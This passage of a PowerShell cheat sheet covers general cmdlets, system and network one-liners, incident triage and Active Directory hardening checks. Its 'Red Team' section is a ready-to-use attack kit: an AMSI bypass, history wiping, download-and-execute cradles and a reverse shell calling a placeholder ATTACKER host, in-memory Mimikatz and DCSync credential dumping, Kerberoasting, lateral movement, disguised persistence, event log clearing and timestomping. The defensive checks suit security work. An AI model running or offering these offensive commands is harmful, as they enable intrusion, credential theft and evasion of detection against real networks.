$triage = [PSCustomObject]@{
Hostname = $env:COMPUTERNAME
CurrentUser = whoami
LoggedOnUsers = (Get-CimInstance Win32_LoggedOnUser | Select -ExpandProperty Antecedent | ForEach-Object { $_.Name } | Sort -Unique)
RunningProcs = (Get-Process | Select Name, Id, Path | Sort Name)
NetConnections = (Get-NetTCPConnection -State Established | Select LocalPort, RemoteAddress, RemotePort)
ListeningPorts = (Get-NetTCPConnection -State Listen | Select LocalAddress, LocalPort)
Services = (Get-Service | Where Status -eq Running | Select Name, DisplayName)
AutoRunKeys = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
ScheduledTasks = (Get-ScheduledTask | Where State -ne Disabled | Select TaskName, @{N="Action";E={$_.Actions.Execute}})
WMISubs = (Get-WMIObject -NS root\subscription -Class __FilterToConsumerBinding)
LocalAdmins = (Get-LocalGroupMember Administrators | Select Name, ObjectClass)
RecentFiles = (Get-ChildItem C:\Users -Recurse -EA SilentlyContinue | Where { $_.LastWriteTime -gt (Get-Date).AddHours(-24) } | Select FullName, LastWriteTime)
}
$triage | ConvertTo-Json -Depth 5 | Out-File "C:\Triage_$env:COMPUTERNAME_$(Get-Date -Format yyyyMMdd_HHmm).json"
Write-Host "[+] Triage saved."
Master Cheat Sheet
Essential Cmdlets Quick Reference
| Task | Command |
|---|---|
| List files | Get-ChildItem / ls / dir / gci |
| Change directory | Set-Location / cd |
| Current directory | Get-Location / pwd |
| Read file | Get-Content / cat / gc |
| Write file | Set-Content / Out-File / Add-Content |
| Copy file | Copy-Item / cp |
| Move / Rename | Move-Item / mv |
| Delete file / dir | Remove-Item / rm / del |
| Create file / dir | New-Item |
| Find files | Get-ChildItem -Recurse -Filter |
| Search file content | Select-String (grep equivalent) |
| List processes | Get-Process / ps / gps |
| Kill process | Stop-Process / kill |
| List services | Get-Service |
| Start / Stop service | Start-Service / Stop-Service |
| Network info | Get-NetIPAddress / Get-NetAdapter |
| Test connectivity | Test-Connection / Test-NetConnection |
| DNS lookup | Resolve-DnsName |
| Download file | Invoke-WebRequest / iwr |
| Run remote command | Invoke-Command / icm |
| Remote session | Enter-PSSession / etsn |
| WMI query | Get-CimInstance |
| Registry read | Get-ItemProperty |
| Registry write | Set-ItemProperty / New-ItemProperty |
| Event logs | Get-WinEvent |
| Help | Get-Help / man |
| Find command | Get-Command / gcm |
| Count / Measure | Measure-Object |
| Group output | Group-Object |
| Sort output | Sort-Object |
| Filter output | Where-Object / ? |
| Transform output | ForEach-Object / % |
| Select properties | Select-Object |
| Inspect object | Get-Member / gm |
| Compare objects | Compare-Object / diff |
| Format as table | Format-Table / ft |
| Format as list | Format-List / fl |
| Export to CSV | Export-Csv |
| Import from CSV | Import-Csv |
| Convert to JSON | ConvertTo-Json |
| Convert from JSON | ConvertFrom-Json |
| Base64 encode | [Convert]::ToBase64String(...) |
| Base64 decode | [Convert]::FromBase64String(...) |
| Zip files | Compress-Archive |
| Unzip files | Expand-Archive |
PS 7 vs 5.1 Key Differences
| Feature | PS 5.1 | PS 7+ |
|---|---|---|
Ternary operator (?:) |
❌ | ✅ |
Null coalescing (??) |
❌ | ✅ |
| Parallel ForEach | ❌ | ✅ |
Pipeline chain (&&, ||) |
❌ | ✅ |
-SkipCertificateCheck |
❌ | ✅ |
| Cross-platform (Linux/Mac) | ❌ | ✅ |
| SSH Remoting (no WinRM) | ❌ | ✅ |
| Concise error view | ❌ | ✅ |
| Built-in .NET version | .NET Fx | .NET 6+ |
One-Liners — System Info
# Full system summary
Get-CimInstance Win32_OperatingSystem | Select CSName, Caption, Version, LastBootUpTime, TotalVisibleMemorySize
# Disk usage
Get-PSDrive -PSProvider FileSystem | Select Name,
@{N="Used(GB)";E={[Math]::Round($_.Used/1GB,2)}},
@{N="Free(GB)";E={[Math]::Round($_.Free/1GB,2)}}
# Top 10 CPU processes
Get-Process | Sort CPU -Descending | Select -First 10 Name, Id, CPU,
@{N="RAM(MB)";E={[Math]::Round($_.WorkingSet/1MB,2)}}
# Top 10 RAM processes
Get-Process | Sort WorkingSet -Descending | Select -First 10 Name, Id,
@{N="RAM(MB)";E={[Math]::Round($_.WorkingSet/1MB,2)}}
# System uptime
(Get-Date) - (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
# Installed software
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*" |
Select DisplayName, DisplayVersion, Publisher, InstallDate |
Where DisplayName | Sort DisplayName
# Installed patches
Get-CimInstance Win32_QuickFixEngineering | Sort InstalledOn -Descending |
Select HotFixID, Description, InstalledOn
# Local users + last logon
Get-LocalUser | Select Name, Enabled, LastLogon, PasswordExpires | Sort Name
# AV product installed
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct |
Select DisplayName, ProductState
One-Liners — Networking
# All open ports + owning process
Get-NetTCPConnection -State Listen |
Select LocalPort,
@{N="PID";E={$_.OwningProcess}},
@{N="Process";E={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}} |
Sort LocalPort
# Established connections + process
Get-NetTCPConnection -State Established |
Select LocalPort, RemoteAddress, RemotePort,
@{N="Process";E={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}} |
Sort RemoteAddress
# Ping sweep (PS7 - parallel)
1..254 | ForEach-Object -Parallel {
if (Test-Connection "10.10.10.$_" -Count 1 -Quiet) { "10.10.10.$_ is UP" }
} -ThrottleLimit 50
# Quick port scan on a host
22,80,135,139,443,445,3389,5985 | ForEach-Object {
if ((Test-NetConnection 10.10.10.1 -Port $_ -WarningAction SilentlyContinue).TcpTestSucceeded) {
"Port $_ OPEN"
}
}
# DNS cache (recent lookups)
Get-DnsClientCache | Select Entry, RecordName, Data, TimeToLive | Sort Entry
# ARP table
Get-NetNeighbor | Select IPAddress, LinkLayerAddress, State |
Where State -ne "Unreachable"
# SMB shares exposed
Get-SmbShare | Where-Object { $_.Name -notmatch "ADMIN\$|C\$|IPC\$|NETLOGON|SYSVOL" }
# Active SMB sessions (who is connected)
Get-SmbSession
One-Liners — Red Team
# Disable AMSI (current session)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Disable PS history (ALWAYS do this first!)
Set-PSReadLineOption -HistorySaveStyle SaveNothing
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
# Bypass execution policy (process scope, no admin needed)
Set-ExecutionPolicy Bypass -Scope Process -Force
# Download + exec in memory (no file on disk!)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')
iex(iwr 'http://ATTACKER/script.ps1' -UseBasicParsing)
# Base64 encode a command (for -EncodedCommand)
$cmd = 'IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/s.ps1")'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
# Run encoded command
powershell.exe -EncodedCommand <BASE64_FROM_ABOVE>
# Load .NET assembly in memory (no disk)
$bytes = (New-Object Net.WebClient).DownloadData('http://ATTACKER/tool.exe')
$asm = [System.Reflection.Assembly]::Load($bytes)
$asm.EntryPoint.Invoke($null, @(,[string[]]@("arg1","arg2")))
# Reverse shell one-liner (set ATTACKER + PORT)
$c=New-Object Net.Sockets.TCPClient("ATTACKER",4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$rb=([Text.Encoding]::ASCII).GetBytes($r+"PS> ");$s.Write($rb,0,$rb.Length);$s.Flush()};$c.Close()
# Mimikatz in memory
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds
# PowerView in memory
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')
# Kerberoast all SPNs (one line)
Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv kerb.csv -NoTypeInformation
# AS-REP roast all vulnerable users (one line)
Get-DomainUser -PreauthNotRequired | Get-ASREPHash -Format Hashcat | Out-File asrep.txt
# DCSync all hashes
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:corp.local /all /csv"'
# Find passwords in GPO SYSVOL
Get-ChildItem "\\$env:USERDNSDOMAIN\SYSVOL" -Recurse `
-Include "Groups.xml","Services.xml","Scheduledtasks.xml","DataSources.xml","Printers.xml","Drives.xml" `
-ErrorAction SilentlyContinue |
Select-String "cpassword" | Select Path, Line
# Find where Domain Admins are logged in
Find-DomainUserLocation -UserName "Administrator"
# WMI lateral movement
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ArgumentList "powershell.exe -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" `
-ComputerName TARGET
# PS Remoting lateral movement
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock {
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')
}
# Persistence: Run key
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "WindowsUpdate" -Value "C:\ProgramData\svc.exe"
# Persistence: Scheduled task (SYSTEM on boot)
schtasks /create /tn "Microsoft\Windows\WindowsUpdate\UpdateHelper" `
/tr "C:\ProgramData\svc.exe" /sc onstart /ru SYSTEM /f
# Persistence: IFEO Sticky Keys (SYSTEM shell at login screen!)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" `
/v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# Persistence: WMI event subscription
$F = Set-WmiInstance -NS root\subscription -Class __EventFilter -Arguments @{Name="WinUpd";EventNamespace="root\cimv2";Query="SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession'";QueryLanguage="WQL"}
$C = Set-WmiInstance -NS root\subscription -Class CommandLineEventConsumer -Arguments @{Name="WinUpdC";CommandLineTemplate="C:\ProgramData\svc.exe"}
Set-WmiInstance -NS root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$F;Consumer=$C}
# Clear all event logs
Get-WinEvent -ListLog * -EA SilentlyContinue | ForEach-Object {
[System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($_.LogName)
}
# Timestomp a file
$f = Get-Item "C:\Temp\tool.exe"
$f.CreationTime = $f.LastWriteTime = $f.LastAccessTime = "2023-01-01 08:00:00"
One-Liners — Blue Team
# Check all WMI subscriptions (persistence)
"__EventFilter","CommandLineEventConsumer","__FilterToConsumerBinding" | ForEach-Object {
Get-WMIObject -NS root\subscription -Class $_ |
Select Name, CommandLineTemplate, Filter, Consumer
}
# Check shadow credentials on all users
Get-ADUser -Filter * -Properties "msDS-KeyCredentialLink" |
Where-Object { $_."msDS-KeyCredentialLink" } |
Select Name, SamAccountName
# Check shadow credentials on all computers
Get-ADComputer -Filter * -Properties "msDS-KeyCredentialLink" |
Where-Object { $_."msDS-KeyCredentialLink" } |
Select Name
# Check SID History injection
Get-ADUser -Filter * -Properties SIDHistory |
Where-Object { $_.SIDHistory } |
Select Name, SamAccountName, SIDHistory
# Check accounts with DCSync rights
$dn = (Get-ADDomain).DistinguishedName
(Get-ACL "AD:\$dn").Access |
Where-Object { $_.ObjectType -match "1131f6aa|1131f6ad" } |
Select IdentityReference, ActiveDirectoryRights
# Check AdminSDHolder for unexpected ACEs
$dn = (Get-ADDomain).DistinguishedName
(Get-ACL "AD:\CN=AdminSDHolder,CN=System,$dn").Access |
Where-Object { $_.IdentityReference -notmatch "Enterprise Admins|Domain Admins|SYSTEM|Administrators" } |
Select IdentityReference, ActiveDirectoryRights
# Check Kerberoastable accounts
Get-ADUser -Filter { ServicePrincipalName -ne "$null" } -Properties ServicePrincipalName |
Select Name, SamAccountName, ServicePrincipalName
# Check AS-REP Roastable accounts
Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true } -Properties DoesNotRequirePreAuth |
Select Name, SamAccountName
# Check unconstrained delegation computers (coercion targets!)
Get-ADComputer -Filter { TrustedForDelegation -eq $true } |
Select Name, DNSHostName
# Check accounts with password never expires
Get-ADUser -Filter { PasswordNeverExpires -eq $true } -Properties PasswordNeverExpires |
Select Name, SamAccountName, Enabled
# Check stale accounts (90+ days no login)
Get-ADUser -Filter { Enabled -eq $true } -Properties LastLogonDate |
Where-Object { $_.LastLogonDate -lt (Get-Date).AddDays(-90) -or $_.LastLogonDate -eq $null } |
Select Name, SamAccountName, LastLogonDate
# Check DSRM backdoor on all DCs
Invoke-Command -ComputerName (Get-ADDomainController -Filter *).Name -ScriptBlock {
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" `
-Name DsrmAdminLogonBehavior -ErrorAction SilentlyContinue
}
# Check Defender exclusions (attackers add these!)
Get-MpPreference | Select ExclusionPath, ExclusionProcess, ExclusionExtension | Format-List
# Check all run keys
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" |
ForEach-Object { Write-Host "=== $_ ==="; Get-ItemProperty $_ -EA SilentlyContinue }
# Check IFEO debugger hijacks (sticky keys etc)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*" `
-EA SilentlyContinue | Where-Object Debugger | Select PSChildName, Debugger
# Check Userinit hijack (all users on logon)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
Select Userinit, Shell
# Check scheduled tasks (non-standard paths)
Get-ScheduledTask | Where-Object { $_.State -ne "Disabled" } |
Select TaskName, @{N="Action";E={$_.Actions.Execute}}, @{N="RunAs";E={$_.Principal.UserId}} |
Where-Object { $_.Action -and $_.Action -notmatch "system32|SysWOW64|MpCmdRun" }
# Check suspicious network connections
Get-NetTCPConnection -State Established |
Where-Object { $_.RemotePort -notin @(80,443,53,25,22,3389) } |
Select LocalPort, RemoteAddress, RemotePort,
@{N="Process";E={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}}
# Hunt suspicious PS activity in event logs
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -EA SilentlyContinue |
Where-Object {
$_.Id -eq 4104 -and
$_.Message -match "IEX|Invoke-Expression|DownloadString|bypass|amsi|mimikatz|dcsync|sekurlsa"
} |
Select TimeCreated, @{N="Snippet";E={$_.Message.Substring(0,[Math]::Min(300,$_.Message.Length))}} |
Format-List
# Full PS history from all user profiles
Get-ChildItem "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" `
-Force -ErrorAction SilentlyContinue |
ForEach-Object { Write-Host "=== $($_.FullName) ==="; Get-Content $_ }
# Full incident response triage (saves JSON)
$triage = [PSCustomObject]@{
Hostname = $env:COMPUTERNAME
CurrentUser = whoami
OSInfo = (Get-CimInstance Win32_OperatingSystem | Select Caption, Version, LastBootUpTime)
RunningProcs = (Get-Process | Select Name, Id, Path | Sort Name)
NetConnections = (Get-NetTCPConnection -State Established | Select LocalPort, RemoteAddress, RemotePort)
ListeningPorts = (Get-NetTCPConnection -State Listen | Select LocalAddress, LocalPort)
Services = (Get-Service | Where Status -eq Running | Select Name, DisplayName)
AutoRunKeys = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -EA SilentlyContinue)
ScheduledTasks = (Get-ScheduledTask | Where State -ne Disabled | Select TaskName, @{N="Action";E={$_.Actions.Execute}})
WMISubs = (Get-WMIObject -NS root\subscription -Class __FilterToConsumerBinding -EA SilentlyContinue)
LocalAdmins = (Get-LocalGroupMember Administrators | Select Name, ObjectClass)
DefenderStatus = (Get-MpComputerStatus | Select AMRunningMode, RealTimeProtectionEnabled, AntivirusEnabled)
DefExclusions = (Get-MpPreference | Select ExclusionPath, ExclusionProcess, ExclusionExtension)
}
$outFile = "C:\Triage_$($env:COMPUTERNAME)_$(Get-Date -Format yyyyMMdd_HHmm).json"
$triage | ConvertTo-Json -Depth 5 | Out-File $outFile
Write-Host "[+] Triage saved to $outFile"
Special Variables
$_ # Current pipeline object (alias: $PSItem)
$? # Last command success (True / False)
$$ # Last token of last command
$^ # First token of last command
$args # Arguments passed to script/function
$error # Array of all errors ($error = most recent)
$Host # Current host info
$PID # Current PowerShell process ID
$PWD # Current working directory
$PSVersionTable # PS version, OS, CLR info
$env:PATH # PATH environment variable
$env:USERNAME # Current username
$env:COMPUTERNAME # Current hostname
$env:USERDOMAIN # Domain name
$PROFILE # Path to current user PS profile
$null # Null value
$true # Boolean true
$false # Boolean false
Keyboard Shortcuts
Ctrl+C → Cancel current command
Tab → Autocomplete
F7 → Command history popup
Up / Down → Navigate command history
Ctrl+R → Reverse history search (PS7)
Ctrl+L → Clear screen
Ctrl+A → Select all text
Alt+F7 → Clear history popup
Pipeline Quick Reference
Object flow: Cmdlet → | → Where-Object → | → Select-Object → | → Out- / Format-
Inspect object: $obj | Get-Member → See all properties + methods $obj | Select-Object * → See all property VALUES $obj.GetType() → See the .NET type name
Filter: | Where-Object { $_.Property -eq "value" } | Where-Object Property -eq "value" ← Simplified (PS3+)
Transform: | ForEach-Object { $.Property.ToUpper() } | % { $ } ← Alias
Select: | Select-Object Name, Id | Select-Object @{N="MB";E={$_.WorkingSet/1MB}} ← Calculated property
Sort: | Sort-Object Property -Descending
Group: | Group-Object Property
Count: | Measure-Object (Get-Process).Count
Top N: | Select-Object -First 10 | Select-Object -Last 5